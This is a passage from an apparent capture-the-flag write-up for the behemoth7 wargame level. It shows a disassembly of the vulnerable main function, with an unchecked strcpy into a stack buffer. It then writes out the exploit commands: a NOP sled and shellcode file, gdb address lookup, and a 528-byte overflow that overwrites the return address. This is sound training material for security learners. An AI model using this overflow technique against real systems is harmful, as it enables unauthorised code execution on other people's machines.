movzx eax,ax 51: 80485c9: 25 00 04 00 00 and eax,0x400 52: 80485ce: 85 c0 test eax,eax 53: 80485d0: 75 42 jne 8048614 <main+0xe9> 54: 80485d2: e8 39 fe ff ff call 8048410 <__ctype_b_loc@plt> 55: 80485d7: 8b 10 mov edx,DWORD PTR [eax] 56: 80485d9: 8b 45 fc mov eax,DWORD PTR [ebp-0x4] 57: 80485dc: 0f b6 00 movzx eax,BYTE PTR [eax] 58: 80485df: 0f be c0 movsx eax,al 59: 80485e2: 01 c0 add eax,eax 60: 80485e4: 01 d0 add eax,edx 61: 80485e6: 0f b7 00 movzx eax,WORD PTR [eax] 62: 80485e9: 0f b7 c0 movzx eax,ax 63: 80485ec: 25 00 08 00 00 and eax,0x800 64: 80485f1: 85 c0 test eax,eax 65: 80485f3: 75 1f jne 8048614 <main+0xe9> 66: 80485f5: a1 40 99 04 08 mov eax,ds:0x8049940 67: 80485fa: 68 d0 86 04 08 push 0x80486d0 68: 80485ff: 68 d8 86 04 08 push 0x80486d8 69: 8048604: 50 push eax 70: 8048605: e8 e6 fd ff ff call 80483f0 <fprintf@plt> 71: 804860a: 83 c4 0c add esp,0xc 72: 804860d: 6a 01 push 0x1 73: 804860f: e8 ac fd ff ff call 80483c0 <exit@plt> 74: 8048614: 83 45 fc 01 add DWORD PTR [ebp-0x4],0x1 75: 8048618: 8b 45 fc mov eax,DWORD PTR [ebp-0x4] 76: 804861b: 0f b6 00 movzx eax,BYTE PTR [eax] 77: 804861e: 84 c0 test al,al 78: 8048620: 74 09 je 804862b <main+0x100> 79: 8048622: 81 7d f4 ff 01 00 00 cmp DWORD PTR [ebp-0xc],0x1ff 80: 8048629: 7e 80 jle 80485ab <main+0x80> 81: 804862b: 8b 45 0c mov eax,DWORD PTR [ebp+0xc] 82: 804862e: 83 c0 04 add eax,0x4 83: 8048631: 8b 00 mov eax,DWORD PTR [eax] 84: 8048633: 50 push eax 85: 8048634: 8d 85 f4 fd ff ff lea eax,[ebp-0x20c] 86: 804863a: 50 push eax 87: 804863b: e8 70 fd ff ff call 80483b0 <strcpy@plt> 88: 8048640: 83 c4 08 add esp,0x8 89: 8048643: b8 00 00 00 00 mov eax,0x0 90: 8048648: c9 leave 91: 8048649: c3 ret
The Exploit
After we assemble our shellcode, we're going to use a nop sled to make life easier.
1: $ nasm -f bin -o shellcode.bin shellcode.asm 2: $ python3 -c 'import sys; sys.stdout.buffer.write(b"\x90"* 1024)' > sled.bin 3: $ cat sled.bin shellcode.bin > shellcode
Now we need the memory address of argv[2]
.
1: (gdb) b main 2: Breakpoint 1 at 0x8048534 3: (gdb) r $(python3 -c 'print("A" * 528, end="")') $(cat shellcode) 4: Starting program: /behemoth/behemoth7 $(python3 -c 'print("A" * 528, end="")') $(cat shellcode) 5: 6: Breakpoint 1, 0x08048534 in main () 7: (gdb) x/4wx $ebp 8: 0xffffcf48: 0x00000000 0xf7e2a286 0x00000003 0xffffcfe4 9: (gdb) x/3wx 0xffffcfe4 10: 0xffffcfe4: 0xffffd142 0xffffd156 0xffffd367 11: (gdb) x/s 0xffffd156 12: 0xffffd156: 'A' <repeats 200 times>... 13: (gdb)
0xffffd367
is the address of our shellcode. Because we have a nop
sled, I'm just going to estimate it as 0xffffd401
.
1: $ /behemoth/behemoth7 $(python3 -c 'print("A" * 528, end="")'; printf "\x01\xd4\xff\xff") $(cat shellcode) 2: XXXXXXXXXX